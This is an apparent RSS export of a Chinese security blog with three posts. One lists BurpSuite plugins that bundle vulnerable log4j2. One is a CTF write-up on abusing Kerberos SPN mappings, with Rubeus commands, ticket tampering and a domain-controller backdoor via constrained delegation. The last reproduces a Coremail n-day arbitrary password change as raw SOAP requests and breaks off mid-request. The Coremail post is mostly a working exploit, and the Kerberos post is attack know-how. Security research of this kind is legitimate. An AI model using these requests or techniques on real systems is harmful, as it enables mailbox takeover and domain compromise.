<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>分类乐色桶</title>
    <link>https://wechat2rss.xlab.app/feed/5978638470af63bf67edad170b4e8e9eb945b948.xml</link>
    <description>记录个人生活&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (分类乐色桶)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM7nCVW6KXkxODbGFTBvfJJd5Y3DOyvxjq9nSrUsj5A9XQ/0</url>
      <title>分类乐色桶</title>
      <link>https://wechat2rss.xlab.app/feed/5978638470af63bf67edad170b4e8e9eb945b948.xml</link>
    </image>
    <item>
      <title>Log4shell中被忽视的威胁：BurpSuite插件</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA3MzI1MTIzMw==&amp;mid=2247483711&amp;idx=1&amp;sn=470e496f4e761cccadf962a23b493573</link>
      <description>log4shell可以说是这几天最火爆的漏洞，对于红队人员，算是过了个早年。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Lz1y</span> <span>2021-12-14 02:00</span> <span style="display: inline-block;"></span>
</p>

<p>log4shell可以说是这几天最火爆的漏洞，对于红队人员，算是过了个早年。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=44bbd564&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFnyLHzR8IpSoVVxBWwBTzAOd75T8pDql95Moyxiajib60PIwkowxPph5LCZicSxicwTqnjL8ciaXuEbekq5aTycfibPg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><br/></p><section data-v-469b2134=""><p><br/></p><section data-v-469b2134=""><blockquote style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;font-style:normal;border-left:none;padding:1em;border-radius:8px;color:rgba(0,0,0,0.5);background:#f7f7f7;margin:2em 8px;margin-top: 0;"><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1em;letter-spacing:0.1em;color:rgb(80, 80, 80);display:block;">log4shell可以说是这几天最火爆的漏洞，对于红队人员，算是过了个早年。不过此漏洞覆盖范围之广，也可能殃及你我。</p></blockquote><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">这个漏洞已经爆出来好几天了，各大厂商都开始陆陆续续的修复，人们的目光仍然放在各种上层应用中，想着办法武器化。不过这个洞可能不只是蓝队人员的心头恨，也有可能反噬到隔岸观火的红队。</p><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">被忽视的威胁：BurpSuite 插件</h3><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">BurpSuite大家都熟悉，其中插件开发最常用的语言就是Java了，其中笔者发现也有不少的插件使用到了存在缺陷的log4j2库，其中不乏一些高人气的库。我使用Github API编写了简易爬虫，去爬取了官方库和民间热门的库推荐项目:</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin-left:0;padding-left:1em;list-style:circle;color:#3f3f3f;"><span style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><span style="margin-right: 10px;">•</span><a href="https://github.com/PortSwigger" target="_blank">https://github.com/PortSwigger</a></span><span style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><span style="margin-right: 10px;">•</span><a href="https://github.com/snoopysecurity/awesome-burp-extensions" target="_blank">https://github.com/snoopysecurity/awesome-burp-extensions</a></span></p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">我通过简单的搜索项目中代码是否包含<code style="white-space:pre-wrap;text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;">log4j</code>，从而判断库是否存在威胁。结果如下：</p><section style="padding:0 8px;"><table><thead style="text-align:left;line-height:1.75;background:rgba(0, 0, 0, 0.05);font-weight:bold;color:#3f3f3f;"><tr><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">项目名</td><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">Stars</td></tr></thead><tbody><tr><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">bit4woo/domain_hunter_pro</td><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">818</td></tr><tr><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);word-break: break-all;">nccgroup/LoggerPlusPlus</td><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">437</td></tr><tr><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">denimgroup/threadfix</td><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">339</td></tr><tr><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">h3xstream/burp-retire-js</td><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">196</td></tr><tr><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">NetSPI/Wsdler</td><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">177</td></tr><tr><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">GoSecure/csp-auditor</td><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">130</td></tr><tr><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">nccgroup/CollaboratorPlusPlus</td><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">107</td></tr><tr><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">vulnersCom/burp-Dirbuster</td><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">67</td></tr><tr><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">bit4woo/ReSign</td><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">49</td></tr><tr><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">tls-attacker/TLS-Attacker-BurpExtension</td><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">36</td></tr><tr><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">h3xstream/burp-image-metadata</td><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">14</td></tr><tr><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">CyRadarInc/crypto-messages-handler</td><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">3</td></tr><tr><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">PortSwigger/burp-teamcity-integration</td><td style="text-align: left;line-height: 1.75;border-color: rgb(223, 223, 223);border-style: solid;border-width: 1px;padding: 0.25em 0.5em;color: rgb(63, 63, 63);">0</td></tr></tbody></table></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">其中不乏PortSwigger官方插件，不少都已经在BAPP中，甚至还有高人气的Logger++，请各位玩家小心菊花，注意自查。结果肯定难免会有一些遗漏误报，国内有很多插件甚至没有开源过，所以各位千万要注意~</p></section><p><br/></p></section><p><br/></p><p><br/></p>



<p><a href="2247483711">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f98e7ea6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA3MzI1MTIzMw%3D%3D%26mid%3D2247483711%26idx%3D1%26sn%3D470e496f4e761cccadf962a23b493573%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 14 Dec 2021 02:00:00 +0800</pubDate>
    </item>
    <item>
      <title>域渗透之滥用SPN mappings</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA3MzI1MTIzMw==&amp;mid=2247483704&amp;idx=1&amp;sn=7a4d7ebd9a6433abb7256088f605c5b2</link>
      <description>在刚刚结束的N1CTF中, 我出了一道很简短的域渗透题目, 其中第三关个人感觉比较有意思, 单独抽出来分享一下.</description>
      <content:encoded><![CDATA[<p>
<span>Lz1y</span> <span>2020-10-20 12:57</span> <span style="display: inline-block;"></span>
</p>

<p>在刚刚结束的N1CTF中, 我出了一道很简短的域渗透题目, 其中第三关个人感觉比较有意思, 单独抽出来分享一下.</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2381b7ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFnyLHzR8IpSsKdAumaUflsTzNW2S8OkbB0v6ujeTGGu6opQvfaIjOt60kib8L8XZoKOac4cRfHhjQ5Hs9kumzbA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p>在刚刚结束的N1CTF中, 我出了一道很简短的域渗透题目, 其中第三关个人感觉比较有意思, 单独抽出来分享一下.</p><p><br/></p><p><br/></p><h2 style="box-sizing: border-box;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 24px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">滥用SPN mappings</h2><p>笔者第一次了解到这个属性是通过ad security关于spn的文章：</p><p><a href="https://adsecurity.org/?page_id=183" target="_blank">https://adsecurity.org/?page_id=183</a></p><blockquote><p>Domain Controllers automatically map common SPNs to the “HOST” SPN.
The HOST SPN is automatically added to the ServicePrincipalName attribute for all computer accounts when the computer is joined to the domain.</p></blockquote><p>可以了解到，HOST这个ServiceName实际上是很多个ServiceName的映射，相关属性被称作SPNMappings，当个访问集合中的成员时，会被映射到HOST。经过一些测试之后发现，Host票据实际上是一种万能票据，默认的映射集如下：</p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">host=alerter,appmgmt,cisvc,clipsrv,browser,dhcp,dnscache,replicator,eventlog,eventsystem,policyagent,</span></code><code><span class="code-snippet_outer">oakley,dmserver,dns,mcsvc,fax,msiserver,ias,messenger,netlogon,netman,netdde,netddedsm,nmagent,</span></code><code><span class="code-snippet_outer">plugplay,protectedstorage,rasman,rpclocator,rpc,rpcss,remoteaccess,rsvp,samss,scardsvr,scesrv,</span></code><code><span class="code-snippet_outer">seclogon,scm,dcom,cifs,spooler,snmp,schedule,tapisrv,trksvr,trkwks,ups,time,wins,www,http,w3svc,</span></code><code><span class="code-snippet_outer">iisadmin,msdtc</span></code></pre></section><p>其中包含很多我们常用到的service，比如cifs，ldap等。</p><p>当我们拥有这个映射列表中的任意一张服务票据(包括HOST)的时候, 我们就可以将其转成列表中其他的任意一张服务票据.<br/></p><p><br/></p><p>那么如何操作呢？非常简单，只需要修改sname即可，这里最简单的方法就是在serviceName长度相同的情况下,我们可以直接修改文件hex中sname.</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7046783625730995" data-s="300,640" style="" data-type="png" data-w="684" src="https://wechat2rss.xlab.app/img-proxy/?k=99d7eecc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpSsKdAumaUflsTzNW2S8OkbicqV4zexaqFCPIadljmlmyd51KUAdCIuN9XrJt9cdXl6nsyMn3Sd3TQ%2F640%3Fwx_fmt%3Dpng"/></p><p>将其修改为CIFS<br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5359375" data-s="300,640" style="" data-type="png" data-w="1920" src="https://wechat2rss.xlab.app/img-proxy/?k=126a707c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpSsKdAumaUflsTzNW2S8OkbHAPBrUs8YIGubHQbqLsBKicwKQqJ1uBIGhj7RbCjWyrvRBavWN083YQ%2F640%3Fwx_fmt%3Dpng"/></p><p>即可.<br/></p><p>如此一来我们就把Host服务票据转成了CIFS服务票据，请允许我单方面称之为铜票(copper ticket)。</p><p><br/></p><p>在与Daiker交流之后发现, 这个姿势其实impacket和Rubeus都已经兼容了, 但是并没有具体文章说明.</p><p>其中Impacket的psexec.py可以直接使用Host或者映射其的票据自动转成cifs服务票据.</p><p>而Rubeus则需要添加一个特殊参数altservice转换.</p><p>ps: Rubeus介绍中认为是KRB-CRED不保护sname字段,所以可以随便改, 而我在这里补充一下是由于spn mappings才可以任意修改sname, 因为本质上都是HOST服务票据.</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.17747440273037543" data-s="300,640" style="" data-type="png" data-w="2930" src="https://wechat2rss.xlab.app/img-proxy/?k=6a9d6337&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpSsKdAumaUflsTzNW2S8Okbs91Ctbj9HjV4FlaiaIukg4XBsfAatlbkX4I0t1LxFwL47Yd7Y83A9oQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">Rubeus.exe tgssub &lt;<span class="code-snippet__regexp">/ticket:BASE64 | /ticket</span><span class="code-snippet__symbol">:FILE</span>.KIRBI&gt; <span class="code-snippet__regexp">/altservice:ldap [/ptt</span>] [<span class="code-snippet__regexp">/luid] [/nowrap</span>]</span></code><code><span class="code-snippet_outer">Rubeus.exe s4u &lt;<span class="code-snippet__regexp">/ticket:BASE64 | /ticket</span><span class="code-snippet__symbol">:FILE</span>.KIRBI&gt; &lt;<span class="code-snippet__regexp">/impersonateuser:USER | /tgs</span><span class="code-snippet__symbol">:BASE64</span> <span class="code-snippet__params">| /tgs:FILE.KIRBI&gt; /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap]</span></span></code></pre></section><p><br/></p><p>补充案例,<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">这里我直接使用题目环境来作为演示</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">:</span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">使用Powerview找到UserA约束委派了HOST/DC. </span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6841673502871206" data-s="300,640" style="" data-type="png" data-w="1219" src="https://wechat2rss.xlab.app/img-proxy/?k=bf051e8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpSsKdAumaUflsTzNW2S8OkbQjTiamDkJlYY6JbS6LAaNpia1bJouhj77buIkpNOy1K80rxr3WVt10pg%2F640%3Fwx_fmt%3Dpng"/></p><p>直接使用s4u获取到TGS</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7765544041450777" data-s="300,640" style="" data-type="png" data-w="1544" src="https://wechat2rss.xlab.app/img-proxy/?k=a349bcd5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpSsKdAumaUflsTzNW2S8Okbr6Aofds6giakIazGcYOV6EicZje0jsnjPGEFibic157AzO3fTBUiaSFzIRw%2F640%3Fwx_fmt%3Dpng"/></p><p>接着,导出票据到物理文件中:<br/></p><p>[IO.File]::WriteAllBytes(&#34;ticket.kirbi&#34;,[Convert]::FromBase64String(&#34;&lt;bas64_ticket&gt;&#34;))</p><p><br/></p><p>按照上文修改sname(或者直接使用Impacket或Rubeus相关功能)为CIFS.</p><p>接下来将修改后的票据PTT之后呢, 就可以直接访问DC的CIFS服务了, 如此一来, 我们就成功滥用了SPN mapping.<br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.541" data-s="300,640" style="" data-type="png" data-w="2000" src="https://wechat2rss.xlab.app/img-proxy/?k=a44de6fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpSsKdAumaUflsTzNW2S8Okb44tyf1WISqb4M22PIf43j6Nzicz3wLqV1c79sVvOlZQT2ZSJg7QIX2Q%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>此技术也可用于后门, 在拿下域控后, 我们使用添加约束委派 <span style="white-space:pre-wrap;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;font-size: 14px;text-align: left;background-color: rgba(0, 0, 0, 0.03);">time</span>/DC 给某个后门用户, 之后我们就可以随意获取到<span style="white-space: pre-wrap;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;font-size: 14px;text-align: left;background-color: rgba(0, 0, 0, 0.03);">time</span>/DC的tgs, 并可以将其转变成CIFS/LDAP等服务的票据.</p>



<p><a href="2247483704">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=310f3bf6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA3MzI1MTIzMw%3D%3D%26mid%3D2247483704%26idx%3D1%26sn%3D7a4d7ebd9a6433abb7256088f605c5b2%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 20 Oct 2020 12:57:00 +0800</pubDate>
    </item>
    <item>
      <title>Coremail nday 任意密码修改复现</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA3MzI1MTIzMw==&amp;mid=2247483691&amp;idx=1&amp;sn=245c751d2a16034e1d45e67f17def18f</link>
      <description>Coremail nday 任意密码修改复现</description>
      <content:encoded><![CDATA[<p>
原创 <span>Lz1y</span> <span>2020-05-28 15:27</span> <span style="display: inline-block;"></span>
</p>

<p>Coremail nday 任意密码修改复现</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2b0ecaf4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFnyLHzR8IpT7nVEIO35z1ZW2a5lT99fibNRk0ibH6j82EmVZcN3Zdspsp0MSkW56Yzw0okmc0sXNtU0SeEfQTVew%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-top: auto;margin-bottom: auto;text-align: left;"><strong><span style="font-size:13px;font-family:宋体;">Nday </span></strong><strong><span style="font-size:13px;font-family:宋体;">任意密码修改</span></strong></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">POST /apiws/services/UserService HTTP/1.1</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">Pragma: no-cache</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">Cache-Control: no-cache</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">Upgrade-Insecure-Requests: 1</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">Referer: <a href="http://192.168.0.106/apiws/services" target="_blank">http://192.168.0.106/apiws/services</a></span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">Accept-Encoding: gzip, deflate</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">Accept-Language:zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,zh-TW;q=0.6</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">Connection: close</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">SOAPAction:</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">Content-Type: text/xml;charset=UTF-8</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">Host: 192.168.0.106</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">Content-Length: 331</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;"> </span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">&lt;soapenv:Envelopexmlns:soapenv=&#34;<a href="http://schemas.xmlsoap.org/soap/envelope/" target="_blank">http://schemas.xmlsoap.org/soap/envelope/</a>&#34;xmlns:apiw=&#34;<a href="http://coremail.cn/apiws" target="_blank">http://coremail.cn/apiws</a>&#34;&gt;</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">  &lt;soapenv:Header/&gt;</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">  &lt;soapenv:Body&gt;</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">     &lt;apiw:queryTheUser&gt;</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">        &lt;!--type: string--&gt;</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">        &lt;loginName&gt;test@coremail.cn&lt;/loginName&gt;</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">     &lt;/apiw:queryTheUser&gt;</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">  &lt;/soapenv:Body&gt;&lt;/soapenv:Envelope&gt;</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;"><br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.26534296028880866" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=e3693396&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpT7nVEIO35z1ZW2a5lT99fibw6bAFrK9qfBvMNHGGWHPgR3mjK1WdIibp0gJacnCytXj6fSFlw2gByg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;"></span><br/></p><p style="margin-top: auto;margin-bottom: auto;text-align: left;"><span style="font-size:16px;font-family:宋体;"></span><span style="font-size:16px;font-family:宋体;">获取用户信息，然后直接复制到下面的请求中，修改密码为明文即可。</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">POST /apiws/services/UserService HTTP/1.1</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">Pragma: no-cache</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">Cache-Control: no-cache</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">Upgrade-Insecure-Requests: 1</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">Referer: <a href="http://192.168.0.106/apiws/services" target="_blank">http://192.168.0.106/apiws/services</a></span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">Accept-Encoding: gzip, deflate</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">Accept-Language:zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,zh-TW;q=0.6</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">Connection: close</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">SOAPAction:</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">Content-Type: text/xml;charset=UTF-8</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">Host: 192.168.0.106</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">Content-Length: 431</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;"> </span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">&lt;soapenv:Envelopexmlns:soapenv=&#34;<a href="http://schemas.xmlsoap.org/soap/envelope/" target="_blank">http://schemas.xmlsoap.org/soap/envelope/</a>&#34; xmlns:apiw=&#34;<a href="http://coremail.cn/apiws" target="_blank">http://coremail.cn/apiws</a>&#34;&gt;</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">  &lt;soapenv:Header/&gt;</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">  &lt;soapenv:Body&gt;</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">     &lt;apiw:updateTheUser&gt;</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">        &lt;!--type: string--&gt;</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">        &lt;user&gt;{</span></p><p style="text-align: left;"><span style="font-size:16px;font-family:宋体;">&#34;loginName&#34;:&#34;test@coremail.cn&#34;,</span></p><p style="text-align: left;"><span 